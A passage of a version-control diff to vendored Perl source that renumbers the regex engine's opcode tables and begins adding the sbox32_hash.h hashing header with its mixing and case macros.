-#define	GOSUB                 	76	/* 0x4c recurse to paren arg1 at (signed) ofs arg2 */
-#define	NGROUPP               	77	/* 0x4d Whether the group matched. */
-#define	INSUBP                	78	/* 0x4e Whether we are in a specific recurse. */
-#define	DEFINEP               	79	/* 0x4f Never execute directly. */
-#define	ENDLIKE               	80	/* 0x50 Used only for the type field of verbs */
-#define	OPFAIL                	81	/* 0x51 Same as (?!), but with verb arg */
-#define	ACCEPT                	82	/* 0x52 Accepts the current matched string, with verbar */
-#define	VERB                  	83	/* 0x53 Used only for the type field of verbs */
-#define	PRUNE                 	84	/* 0x54 Pattern fails at this startpoint if no-backtracking through this */
-#define	MARKPOINT             	85	/* 0x55 Push the current location for rollback by cut. */
-#define	SKIP                  	86	/* 0x56 On failure skip forward (to the mark) before retrying */
-#define	COMMIT                	87	/* 0x57 Pattern fails outright if backtracking through this */
-#define	CUTGROUP              	88	/* 0x58 On failure go to the next alternation in the group */
-#define	KEEPS                 	89	/* 0x59 $& begins here. */
-#define	LNBREAK               	90	/* 0x5a generic newline pattern */
-#define	OPTIMIZED             	91	/* 0x5b Placeholder for dump. */
-#define	PSEUDO                	92	/* 0x5c Pseudo opcode for internal use. */
+#define	ANYOFM                	21	/* 0x15 Like ANYOF, but matches an invariant byte as determined by the mask and arg */
+#define	POSIXD                	22	/* 0x16 Some [[:class:]] under /d; the FLAGS field gives which one */
+#define	POSIXL                	23	/* 0x17 Some [[:class:]] under /l; the FLAGS field gives which one */
+#define	POSIXU                	24	/* 0x18 Some [[:class:]] under /u; the FLAGS field gives which one */
+#define	POSIXA                	25	/* 0x19 Some [[:class:]] under /a; the FLAGS field gives which one */
+#define	NPOSIXD               	26	/* 0x1a complement of POSIXD, [[:^class:]] */
+#define	NPOSIXL               	27	/* 0x1b complement of POSIXL, [[:^class:]] */
+#define	NPOSIXU               	28	/* 0x1c complement of POSIXU, [[:^class:]] */
+#define	NPOSIXA               	29	/* 0x1d complement of POSIXA, [[:^class:]] */
+#define	ASCII                 	30	/* 0x1e [[:ascii:]] */
+#define	NASCII                	31	/* 0x1f [[:^ascii:]] */
+#define	CLUMP                 	32	/* 0x20 Match any extended grapheme cluster sequence */
+#define	BRANCH                	33	/* 0x21 Match this alternative, or the next... */
+#define	EXACT                 	34	/* 0x22 Match this string (preceded by length). */
+#define	EXACTL                	35	/* 0x23 Like EXACT, but /l is in effect (used so locale-related warnings can be checked for). */
+#define	EXACTF                	36	/* 0x24 Match this non-UTF-8 string (not guaranteed to be folded) using /id rules (w/len). */
+#define	EXACTFL               	37	/* 0x25 Match this string (not guaranteed to be folded) using /il rules (w/len). */
+#define	EXACTFU               	38	/* 0x26 Match this string (folded iff in UTF-8, length in folding doesn't change if not in UTF-8) using /iu rules (w/len). */
+#define	EXACTFAA              	39	/* 0x27 Match this string (not guaranteed to be folded) using /iaa rules (w/len). */
+#define	EXACTFU_SS            	40	/* 0x28 Match this string (folded iff in UTF-8, length in folding may change even if not in UTF-8) using /iu rules (w/len). */
+#define	EXACTFLU8             	41	/* 0x29 Rare circumstances: like EXACTFU, but is under /l, UTF-8, folded, and everything in it is above 255. */
+#define	EXACTFAA_NO_TRIE      	42	/* 0x2a Match this string (which is not trie-able; not guaranteed to be folded) using /iaa rules (w/len). */
+#define	NOTHING               	43	/* 0x2b Match empty string. */
+#define	TAIL                  	44	/* 0x2c Match empty string. Can jump here from outside. */
+#define	STAR                  	45	/* 0x2d Match this (simple) thing 0 or more times. */
+#define	PLUS                  	46	/* 0x2e Match this (simple) thing 1 or more times. */
+#define	CURLY                 	47	/* 0x2f Match this simple thing {n,m} times. */
+#define	CURLYN                	48	/* 0x30 Capture next-after-this simple thing */
+#define	CURLYM                	49	/* 0x31 Capture this medium-complex thing {n,m} times. */
+#define	CURLYX                	50	/* 0x32 Match this complex thing {n,m} times. */
+#define	WHILEM                	51	/* 0x33 Do curly processing and see if rest matches. */
+#define	OPEN                  	52	/* 0x34 Mark this point in input as start of #n. */
+#define	CLOSE                 	53	/* 0x35 Close corresponding OPEN of #n. */
+#define	SROPEN                	54	/* 0x36 Same as OPEN, but for script run */
+#define	SRCLOSE               	55	/* 0x37 Close preceding SROPEN */
+#define	REF                   	56	/* 0x38 Match some already matched string */
+#define	REFF                  	57	/* 0x39 Match already matched string, folded using native charset rules for non-utf8 */
+#define	REFFL                 	58	/* 0x3a Match already matched string, folded in loc. */
+#define	REFFU                 	59	/* 0x3b Match already matched string, folded using unicode rules for non-utf8 */
+#define	REFFA                 	60	/* 0x3c Match already matched string, folded using unicode rules for non-utf8, no mixing ASCII, non-ASCII */
+#define	NREF                  	61	/* 0x3d Match some already matched string */
+#define	NREFF                 	62	/* 0x3e Match already matched string, folded using native charset rules for non-utf8 */
+#define	NREFFL                	63	/* 0x3f Match already matched string, folded in loc. */
+#define	NREFFU                	64	/* 0x40 Match already matched string, folded using unicode rules for non-utf8 */
+#define	NREFFA                	65	/* 0x41 Match already matched string, folded using unicode rules for non-utf8, no mixing ASCII, non-ASCII */
+#define	LONGJMP               	66	/* 0x42 Jump far away. */
+#define	BRANCHJ               	67	/* 0x43 BRANCH with long offset. */
+#define	IFMATCH               	68	/* 0x44 Succeeds if the following matches. */
+#define	UNLESSM               	69	/* 0x45 Fails if the following matches. */
+#define	SUSPEND               	70	/* 0x46 "Independent" sub-RE. */
+#define	IFTHEN                	71	/* 0x47 Switch, should be preceded by switcher. */
+#define	GROUPP                	72	/* 0x48 Whether the group matched. */
+#define	EVAL                  	73	/* 0x49 Execute some Perl code. */
+#define	MINMOD                	74	/* 0x4a Next operator is not greedy. */
+#define	LOGICAL               	75	/* 0x4b Next opcode should set the flag only. */
+#define	RENUM                 	76	/* 0x4c Group with independently numbered parens. */
+#define	TRIE                  	77	/* 0x4d Match many EXACT(F[ALU]?)? at once. flags==type */
+#define	TRIEC                 	78	/* 0x4e Same as TRIE, but with embedded charclass data */
+#define	AHOCORASICK           	79	/* 0x4f Aho Corasick stclass. flags==type */
+#define	AHOCORASICKC          	80	/* 0x50 Same as AHOCORASICK, but with embedded charclass data */
+#define	GOSUB                 	81	/* 0x51 recurse to paren arg1 at (signed) ofs arg2 */
+#define	NGROUPP               	82	/* 0x52 Whether the group matched. */
+#define	INSUBP                	83	/* 0x53 Whether we are in a specific recurse. */
+#define	DEFINEP               	84	/* 0x54 Never execute directly. */
+#define	ENDLIKE               	85	/* 0x55 Used only for the type field of verbs */
+#define	OPFAIL                	86	/* 0x56 Same as (?!), but with verb arg */
+#define	ACCEPT                	87	/* 0x57 Accepts the current matched string, with verbar */
+#define	VERB                  	88	/* 0x58 Used only for the type field of verbs */
+#define	PRUNE                 	89	/* 0x59 Pattern fails at this startpoint if no-backtracking through this */
+#define	MARKPOINT             	90	/* 0x5a Push the current location for rollback by cut. */
+#define	SKIP                  	91	/* 0x5b On failure skip forward (to the mark) before retrying */
+#define	COMMIT                	92	/* 0x5c Pattern fails outright if backtracking through this */
+#define	CUTGROUP              	93	/* 0x5d On failure go to the next alternation in the group */
+#define	KEEPS                 	94	/* 0x5e $& begins here. */
+#define	LNBREAK               	95	/* 0x5f generic newline pattern */
+#define	OPTIMIZED             	96	/* 0x60 Placeholder for dump. */
+#define	PSEUDO                	97	/* 0x61 Pseudo opcode for internal use. */
 	/* ------------ States ------------- */
 #define	TRIE_next             	(REGNODE_MAX + 1)	/* state for TRIE */
 #define	TRIE_next_fail        	(REGNODE_MAX + 2)	/* state for TRIE */
@@ -175,6 +180,7 @@
 	ANYOF,    	/* ANYOF                  */
 	ANYOF,    	/* ANYOFD                 */
 	ANYOF,    	/* ANYOFL                 */
+	ANYOFM,   	/* ANYOFM                 */
 	POSIXD,   	/* POSIXD                 */
 	POSIXD,   	/* POSIXL                 */
 	POSIXD,   	/* POSIXU                 */
@@ -183,6 +189,8 @@
 	NPOSIXD,  	/* NPOSIXL                */
 	NPOSIXD,  	/* NPOSIXU                */
 	NPOSIXD,  	/* NPOSIXA                */
+	ASCII,    	/* ASCII                  */
+	ASCII,    	/* NASCII                 */
 	CLUMP,    	/* CLUMP                  */
 	BRANCH,   	/* BRANCH                 */
 	EXACT,    	/* EXACT                  */
@@ -190,10 +198,10 @@
 	EXACT,    	/* EXACTF                 */
 	EXACT,    	/* EXACTFL                */
 	EXACT,    	/* EXACTFU                */
-	EXACT,    	/* EXACTFA                */
+	EXACT,    	/* EXACTFAA               */
 	EXACT,    	/* EXACTFU_SS             */
 	EXACT,    	/* EXACTFLU8              */
-	EXACT,    	/* EXACTFA_NO_TRIE        */
+	EXACT,    	/* EXACTFAA_NO_TRIE       */
 	NOTHING,  	/* NOTHING                */
 	NOTHING,  	/* TAIL                   */
 	STAR,     	/* STAR                   */
@@ -205,6 +213,8 @@
 	WHILEM,   	/* WHILEM                 */
 	OPEN,     	/* OPEN                   */
 	CLOSE,    	/* CLOSE                  */
+	SROPEN,   	/* SROPEN                 */
+	SRCLOSE,  	/* SRCLOSE                */
 	REF,      	/* REF                    */
 	REF,      	/* REFF                   */
 	REF,      	/* REFFL                  */
@@ -319,6 +329,7 @@
 	EXTRA_SIZE(struct regnode_1),        	/* ANYOF        */
 	EXTRA_SIZE(struct regnode_1),        	/* ANYOFD       */
 	EXTRA_SIZE(struct regnode_1),        	/* ANYOFL       */
+	EXTRA_SIZE(struct regnode_1),        	/* ANYOFM       */
 	0,                                   	/* POSIXD       */
 	0,                                   	/* POSIXL       */
 	0,                                   	/* POSIXU       */
@@ -327,6 +338,8 @@
 	0,                                   	/* NPOSIXL      */
 	0,                                   	/* NPOSIXU      */
 	0,                                   	/* NPOSIXA      */
+	0,                                   	/* ASCII        */
+	0,                                   	/* NASCII       */
 	0,                                   	/* CLUMP        */
 	0,                                   	/* BRANCH       */
 	0,                                   	/* EXACT        */
@@ -334,10 +347,10 @@
 	0,                                   	/* EXACTF       */
 	0,                                   	/* EXACTFL      */
 	0,                                   	/* EXACTFU      */
-	0,                                   	/* EXACTFA      */
+	0,                                   	/* EXACTFAA     */
 	0,                                   	/* EXACTFU_SS   */
 	0,                                   	/* EXACTFLU8    */
-	0,                                   	/* EXACTFA_NO_TRIE */
+	0,                                   	/* EXACTFAA_NO_TRIE */
 	0,                                   	/* NOTHING      */
 	0,                                   	/* TAIL         */
 	0,                                   	/* STAR         */
@@ -349,6 +362,8 @@
 	0,                                   	/* WHILEM       */
 	EXTRA_SIZE(struct regnode_1),        	/* OPEN         */
 	EXTRA_SIZE(struct regnode_1),        	/* CLOSE        */
+	0,                                   	/* SROPEN       */
+	0,                                   	/* SRCLOSE      */
 	EXTRA_SIZE(struct regnode_1),        	/* REF          */
 	EXTRA_SIZE(struct regnode_1),        	/* REFF         */
 	EXTRA_SIZE(struct regnode_1),        	/* REFFL        */
@@ -417,6 +432,7 @@
 	0,	/* ANYOF        */
 	0,	/* ANYOFD       */
 	0,	/* ANYOFL       */
+	0,	/* ANYOFM       */
 	0,	/* POSIXD       */
 	0,	/* POSIXL       */
 	0,	/* POSIXU       */
@@ -425,6 +441,8 @@
 	0,	/* NPOSIXL      */
 	0,	/* NPOSIXU      */
 	0,	/* NPOSIXA      */
+	0,	/* ASCII        */
+	0,	/* NASCII       */
 	0,	/* CLUMP        */
 	0,	/* BRANCH       */
 	0,	/* EXACT        */
@@ -432,10 +450,10 @@
 	0,	/* EXACTF       */
 	0,	/* EXACTFL      */
 	0,	/* EXACTFU      */
-	0,	/* EXACTFA      */
+	0,	/* EXACTFAA     */
 	0,	/* EXACTFU_SS   */
 	0,	/* EXACTFLU8    */
-	0,	/* EXACTFA_NO_TRIE */
+	0,	/* EXACTFAA_NO_TRIE */
 	0,	/* NOTHING      */
 	0,	/* TAIL         */
 	0,	/* STAR         */
@@ -447,6 +465,8 @@
 	0,	/* WHILEM       */
 	0,	/* OPEN         */
 	0,	/* CLOSE        */
+	0,	/* SROPEN       */
+	0,	/* SRCLOSE      */
 	0,	/* REF          */
 	0,	/* REFF         */
 	0,	/* REFFL        */
@@ -521,78 +541,83 @@
 	"ANYOF",                 	/* 0x12 */
 	"ANYOFD",                	/* 0x13 */
 	"ANYOFL",                	/* 0x14 */
-	"POSIXD",                	/* 0x15 */
-	"POSIXL",                	/* 0x16 */
-	"POSIXU",                	/* 0x17 */
-	"POSIXA",                	/* 0x18 */
-	"NPOSIXD",               	/* 0x19 */
-	"NPOSIXL",               	/* 0x1a */
-	"NPOSIXU",               	/* 0x1b */
-	"NPOSIXA",               	/* 0x1c */
-	"CLUMP",                 	/* 0x1d */
-	"BRANCH",                	/* 0x1e */
-	"EXACT",                 	/* 0x1f */
-	"EXACTL",                	/* 0x20 */
-	"EXACTF",                	/* 0x21 */
-	"EXACTFL",               	/* 0x22 */
-	"EXACTFU",               	/* 0x23 */
-	"EXACTFA",               	/* 0x24 */
-	"EXACTFU_SS",            	/* 0x25 */
-	"EXACTFLU8",             	/* 0x26 */
-	"EXACTFA_NO_TRIE",       	/* 0x27 */
-	"NOTHING",               	/* 0x28 */
-	"TAIL",                  	/* 0x29 */
-	"STAR",                  	/* 0x2a */
-	"PLUS",                  	/* 0x2b */
-	"CURLY",                 	/* 0x2c */
-	"CURLYN",                	/* 0x2d */
-	"CURLYM",                	/* 0x2e */
-	"CURLYX",                	/* 0x2f */
-	"WHILEM",                	/* 0x30 */
-	"OPEN",                  	/* 0x31 */
-	"CLOSE",                 	/* 0x32 */
-	"REF",                   	/* 0x33 */
-	"REFF",                  	/* 0x34 */
-	"REFFL",                 	/* 0x35 */
-	"REFFU",                 	/* 0x36 */
-	"REFFA",                 	/* 0x37 */
-	"NREF",                  	/* 0x38 */
-	"NREFF",                 	/* 0x39 */
-	"NREFFL",                	/* 0x3a */
-	"NREFFU",                	/* 0x3b */
-	"NREFFA",                	/* 0x3c */
-	"LONGJMP",               	/* 0x3d */
-	"BRANCHJ",               	/* 0x3e */
-	"IFMATCH",               	/* 0x3f */
-	"UNLESSM",               	/* 0x40 */
-	"SUSPEND",               	/* 0x41 */
-	"IFTHEN",                	/* 0x42 */
-	"GROUPP",                	/* 0x43 */
-	"EVAL",                  	/* 0x44 */
-	"MINMOD",                	/* 0x45 */
-	"LOGICAL",               	/* 0x46 */
-	"RENUM",                 	/* 0x47 */
-	"TRIE",                  	/* 0x48 */
-	"TRIEC",                 	/* 0x49 */
-	"AHOCORASICK",           	/* 0x4a */
-	"AHOCORASICKC",          	/* 0x4b */
-	"GOSUB",                 	/* 0x4c */
-	"NGROUPP",               	/* 0x4d */
-	"INSUBP",                	/* 0x4e */
-	"DEFINEP",               	/* 0x4f */
-	"ENDLIKE",               	/* 0x50 */
-	"OPFAIL",                	/* 0x51 */
-	"ACCEPT",                	/* 0x52 */
-	"VERB",                  	/* 0x53 */
-	"PRUNE",                 	/* 0x54 */
-	"MARKPOINT",             	/* 0x55 */
-	"SKIP",                  	/* 0x56 */
-	"COMMIT",                	/* 0x57 */
-	"CUTGROUP",              	/* 0x58 */
-	"KEEPS",                 	/* 0x59 */
-	"LNBREAK",               	/* 0x5a */
-	"OPTIMIZED",             	/* 0x5b */
-	"PSEUDO",                	/* 0x5c */
+	"ANYOFM",                	/* 0x15 */
+	"POSIXD",                	/* 0x16 */
+	"POSIXL",                	/* 0x17 */
+	"POSIXU",                	/* 0x18 */
+	"POSIXA",                	/* 0x19 */
+	"NPOSIXD",               	/* 0x1a */
+	"NPOSIXL",               	/* 0x1b */
+	"NPOSIXU",               	/* 0x1c */
+	"NPOSIXA",               	/* 0x1d */
+	"ASCII",                 	/* 0x1e */
+	"NASCII",                	/* 0x1f */
+	"CLUMP",                 	/* 0x20 */
+	"BRANCH",                	/* 0x21 */
+	"EXACT",                 	/* 0x22 */
+	"EXACTL",                	/* 0x23 */
+	"EXACTF",                	/* 0x24 */
+	"EXACTFL",               	/* 0x25 */
+	"EXACTFU",               	/* 0x26 */
+	"EXACTFAA",              	/* 0x27 */
+	"EXACTFU_SS",            	/* 0x28 */
+	"EXACTFLU8",             	/* 0x29 */
+	"EXACTFAA_NO_TRIE",      	/* 0x2a */
+	"NOTHING",               	/* 0x2b */
+	"TAIL",                  	/* 0x2c */
+	"STAR",                  	/* 0x2d */
+	"PLUS",                  	/* 0x2e */
+	"CURLY",                 	/* 0x2f */
+	"CURLYN",                	/* 0x30 */
+	"CURLYM",                	/* 0x31 */
+	"CURLYX",                	/* 0x32 */
+	"WHILEM",                	/* 0x33 */
+	"OPEN",                  	/* 0x34 */
+	"CLOSE",                 	/* 0x35 */
+	"SROPEN",                	/* 0x36 */
+	"SRCLOSE",               	/* 0x37 */
+	"REF",                   	/* 0x38 */
+	"REFF",                  	/* 0x39 */
+	"REFFL",                 	/* 0x3a */
+	"REFFU",                 	/* 0x3b */
+	"REFFA",                 	/* 0x3c */
+	"NREF",                  	/* 0x3d */
+	"NREFF",                 	/* 0x3e */
+	"NREFFL",                	/* 0x3f */
+	"NREFFU",                	/* 0x40 */
+	"NREFFA",                	/* 0x41 */
+	"LONGJMP",               	/* 0x42 */
+	"BRANCHJ",               	/* 0x43 */
+	"IFMATCH",               	/* 0x44 */
+	"UNLESSM",               	/* 0x45 */
+	"SUSPEND",               	/* 0x46 */
+	"IFTHEN",                	/* 0x47 */
+	"GROUPP",                	/* 0x48 */
+	"EVAL",                  	/* 0x49 */
+	"MINMOD",                	/* 0x4a */
+	"LOGICAL",               	/* 0x4b */
+	"RENUM",                 	/* 0x4c */
+	"TRIE",                  	/* 0x4d */
+	"TRIEC",                 	/* 0x4e */
+	"AHOCORASICK",           	/* 0x4f */
+	"AHOCORASICKC",          	/* 0x50 */
+	"GOSUB",                 	/* 0x51 */
+	"NGROUPP",               	/* 0x52 */
+	"INSUBP",                	/* 0x53 */
+	"DEFINEP",               	/* 0x54 */
+	"ENDLIKE",               	/* 0x55 */
+	"OPFAIL",                	/* 0x56 */
+	"ACCEPT",                	/* 0x57 */
+	"VERB",                  	/* 0x58 */
+	"PRUNE",                 	/* 0x59 */
+	"MARKPOINT",             	/* 0x5a */
+	"SKIP",                  	/* 0x5b */
+	"COMMIT",                	/* 0x5c */
+	"CUTGROUP",              	/* 0x5d */
+	"KEEPS",                 	/* 0x5e */
+	"LNBREAK",               	/* 0x5f */
+	"OPTIMIZED",             	/* 0x60 */
+	"PSEUDO",                	/* 0x61 */
 	/* ------------ States ------------- */
 	"TRIE_next",             	/* REGNODE_MAX +0x01 */
 	"TRIE_next_fail",        	/* REGNODE_MAX +0x02 */
@@ -729,7 +754,7 @@
 EXTCONST U8 PL_varies_bitmask[];
 #else
 EXTCONST U8 PL_varies_bitmask[] = {
-    0x00, 0x00, 0x00, 0x60, 0x00, 0xFC, 0xF9, 0x5F, 0x06, 0x00, 0x00, 0x00
+    0x00, 0x00, 0x00, 0x00, 0x03, 0xE0, 0x0F, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00
 };
 #endif /* DOINIT */
 
@@ -741,8 +766,8 @@
 EXTCONST U8 PL_simple[] __attribute__deprecated__;
 #else
 EXTCONST U8 PL_simple[] __attribute__deprecated__ = {
-    REG_ANY, SANY, ANYOF, ANYOFD, ANYOFL, POSIXD, POSIXL, POSIXU, POSIXA,
-    NPOSIXD, NPOSIXL, NPOSIXU, NPOSIXA,
+    REG_ANY, SANY, ANYOF, ANYOFD, ANYOFL, ANYOFM, POSIXD, POSIXL, POSIXU,
+    POSIXA, NPOSIXD, NPOSIXL, NPOSIXU, NPOSIXA, ASCII, NASCII,
     0
 };
 #endif /* DOINIT */
@@ -751,7 +776,7 @@
 EXTCONST U8 PL_simple_bitmask[];
 #else
 EXTCONST U8 PL_simple_bitmask[] = {
-    0x00, 0x00, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+    0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
 };
 #endif /* DOINIT */
 

Added: vendor/perl/dist/sbox32_hash.h
===================================================================
--- vendor/perl/dist/sbox32_hash.h	                        (rev 0)
+++ vendor/perl/dist/sbox32_hash.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,1783 @@
+#ifndef DEBUG_SBOX32_HASH
+#define DEBUG_SBOX32_HASH 0
+
+#include "zaphod32_hash.h"
+
+#if DEBUG_SBOX32_HASH == 1
+#include <stdio.h>
+#define SBOX32_WARN6(pat,v0,v1,v2,v3,v4,v5)    printf(pat, v0, v1, v2, v3, v4, v5)
+#define SBOX32_WARN5(pat,v0,v1,v2,v3,v4)       printf(pat, v0, v1, v2, v3, v4)
+#define SBOX32_WARN4(pat,v0,v1,v2,v3)          printf(pat, v0, v1, v2, v3)
+#define SBOX32_WARN3(pat,v0,v1,v2)             printf(pat, v0, v1, v2)
+#define SBOX32_WARN2(pat,v0,v1)                printf(pat, v0, v1)
+#define NOTE3(pat,v0,v1,v2)             printf(pat, v0, v1, v2)
+#elif DEBUG_SBOX32_HASH == 2
+#define SBOX32_WARN6(pat,v0,v1,v2,v3,v4,v5)
+#define SBOX32_WARN5(pat,v0,v1,v2,v3,v4)
+#define SBOX32_WARN4(pat,v0,v1,v2,v3)
+#define SBOX32_WARN3(pat,v0,v1,v2)
+#define SBOX32_WARN2(pat,v0,v1)
+#define NOTE3(pat,v0,v1,v2)             printf(pat, v0, v1, v2)
+#else
+#define SBOX32_WARN6(pat,v0,v1,v2,v3,v4,v5)
+#define SBOX32_WARN5(pat,v0,v1,v2,v3,v4)
+#define SBOX32_WARN4(pat,v0,v1,v2,v3)
+#define SBOX32_WARN3(pat,v0,v1,v2)
+#define NOTE3(pat,v0,v1,v2)
+#define SBOX32_WARN2(pat,v0,v1)
+#endif
+
+#ifndef PERL_SEEN_HV_FUNC_H
+#if !defined(U32) 
+#include <stdint.h>
+#define U32 uint32_t
+#endif
+
+#if !defined(U8)
+#define U8 unsigned char
+#endif
+
+#if !defined(U16)
+#define U16 uint16_t
+#endif
+
+#ifndef STRLEN
+#define STRLEN int
+#endif
+#endif
+
+#ifndef SBOX32_STATIC_INLINE
+#ifdef PERL_STATIC_INLINE
+#define SBOX32_STATIC_INLINE PERL_STATIC_INLINE
+#else
+#define SBOX32_STATIC_INLINE static inline
+#endif
+#endif
+
+#ifndef STMT_START
+#define STMT_START do
+#define STMT_END while(0)
+#endif
+
+/* Find best way to ROTL32/ROTL64 */
+#ifndef ROTL32
+#if defined(_MSC_VER)
+#include <stdlib.h>  /* Microsoft put _rotl declaration in here */
+#define ROTL32(x,r)  _rotl(x,r)
+#define ROTR32(x,r)  _rotr(x,r)
+#else
+/* gcc recognises this code and generates a rotate instruction for CPUs with one */
+#define ROTL32(x,r)  (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r))))
+#define ROTR32(x,r)  (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r)))
+#endif
+#endif
+
+#ifndef SBOX32_MAX_LEN
+#define SBOX32_MAX_LEN 256
+#endif
+
+#ifndef SBOX32_STATE_WORDS
+#define SBOX32_STATE_WORDS (1 + (SBOX32_MAX_LEN * 256))
+#define SBOX32_STATE_BYTES (SBOX32_STATE_WORDS * sizeof(U32))
+#define SBOX32_STATE_BITS (SBOX32_STATE_BYTES * 8)
+#endif
+
+#define SBOX32_MIX4(v0,v1,v2,v3,text) STMT_START { \
+        SBOX32_WARN5("v0=%08x v1=%08x v2=%08x v3=%08x - SBOX32_MIX4 %s\n", \
+                            (unsigned int)v0, (unsigned int)v1,    \
+                            (unsigned int)v2, (unsigned int)v3, text);   \
+        v0 = ROTL32(v0,13) - v3;    \
+        v1 ^= v2;                   \
+        v3 = ROTL32(v3, 9) + v1;    \
+        v2 ^= v0;                   \
+        v0 = ROTL32(v0,14) ^ v3;    \
+        v1 = ROTL32(v1,25) - v2;    \
+        v3 ^= v1;                   \
+        v2 = ROTL32(v2, 4) - v0;    \
+} STMT_END
+
+#define SBOX32_MIX3(v0,v1,v2,text) STMT_START {                               \
+    SBOX32_WARN4("v0=%08x v1=%08x v2=%08x - SBOX32_MIX3 %s\n",              \
+            (unsigned int)v0,(unsigned int)v1,(unsigned int)v2, text );     \
+    v0 = ROTL32(v0,16) - v2;   \
+    v1 = ROTR32(v1,13) ^ v2;   \
+    v2 = ROTL32(v2,17) + v1;   \
+    v0 = ROTR32(v0, 2) + v1;   \
+    v1 = ROTR32(v1,17) - v0;   \
+    v2 = ROTR32(v2, 7) ^ v0;   \
+} STMT_END
+
+#if SBOX32_MAX_LEN > 256
+#error "SBOX32_MAX_LEN is set too high!"
+#elif SBOX32_MAX_LEN == 256
+#define case_256_SBOX32(hash,state,key) _SBOX32_CASE(256,hash,state,key)
+#else
+#define case_256_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 255
+#define case_255_SBOX32(hash,state,key) _SBOX32_CASE(255,hash,state,key)
+#else
+#define case_255_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 254
+#define case_254_SBOX32(hash,state,key) _SBOX32_CASE(254,hash,state,key)
+#else
+#define case_254_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 253
+#define case_253_SBOX32(hash,state,key) _SBOX32_CASE(253,hash,state,key)
+#else
+#define case_253_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 252
+#define case_252_SBOX32(hash,state,key) _SBOX32_CASE(252,hash,state,key)
+#else
+#define case_252_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 251
+#define case_251_SBOX32(hash,state,key) _SBOX32_CASE(251,hash,state,key)
+#else
+#define case_251_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 250
+#define case_250_SBOX32(hash,state,key) _SBOX32_CASE(250,hash,state,key)
+#else
+#define case_250_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 249
+#define case_249_SBOX32(hash,state,key) _SBOX32_CASE(249,hash,state,key)
+#else
+#define case_249_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 248
+#define case_248_SBOX32(hash,state,key) _SBOX32_CASE(248,hash,state,key)
+#else
+#define case_248_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 247
+#define case_247_SBOX32(hash,state,key) _SBOX32_CASE(247,hash,state,key)
+#else
+#define case_247_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 246
+#define case_246_SBOX32(hash,state,key) _SBOX32_CASE(246,hash,state,key)
+#else
+#define case_246_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 245
+#define case_245_SBOX32(hash,state,key) _SBOX32_CASE(245,hash,state,key)
+#else
+#define case_245_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 244
+#define case_244_SBOX32(hash,state,key) _SBOX32_CASE(244,hash,state,key)
+#else
+#define case_244_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 243
+#define case_243_SBOX32(hash,state,key) _SBOX32_CASE(243,hash,state,key)
+#else
+#define case_243_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 242
+#define case_242_SBOX32(hash,state,key) _SBOX32_CASE(242,hash,state,key)
+#else
+#define case_242_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 241
+#define case_241_SBOX32(hash,state,key) _SBOX32_CASE(241,hash,state,key)
+#else
+#define case_241_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 240
+#define case_240_SBOX32(hash,state,key) _SBOX32_CASE(240,hash,state,key)
+#else
+#define case_240_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 239
+#define case_239_SBOX32(hash,state,key) _SBOX32_CASE(239,hash,state,key)
+#else
+#define case_239_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 238
+#define case_238_SBOX32(hash,state,key) _SBOX32_CASE(238,hash,state,key)
+#else
+#define case_238_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 237
+#define case_237_SBOX32(hash,state,key) _SBOX32_CASE(237,hash,state,key)
+#else
+#define case_237_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 236
+#define case_236_SBOX32(hash,state,key) _SBOX32_CASE(236,hash,state,key)
+#else
+#define case_236_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 235
+#define case_235_SBOX32(hash,state,key) _SBOX32_CASE(235,hash,state,key)
+#else
+#define case_235_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 234
+#define case_234_SBOX32(hash,state,key) _SBOX32_CASE(234,hash,state,key)
+#else
+#define case_234_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 233
+#define case_233_SBOX32(hash,state,key) _SBOX32_CASE(233,hash,state,key)
+#else
+#define case_233_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 232
+#define case_232_SBOX32(hash,state,key) _SBOX32_CASE(232,hash,state,key)
+#else
+#define case_232_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 231
+#define case_231_SBOX32(hash,state,key) _SBOX32_CASE(231,hash,state,key)
+#else
+#define case_231_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 230
+#define case_230_SBOX32(hash,state,key) _SBOX32_CASE(230,hash,state,key)
+#else
+#define case_230_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 229
+#define case_229_SBOX32(hash,state,key) _SBOX32_CASE(229,hash,state,key)
+#else
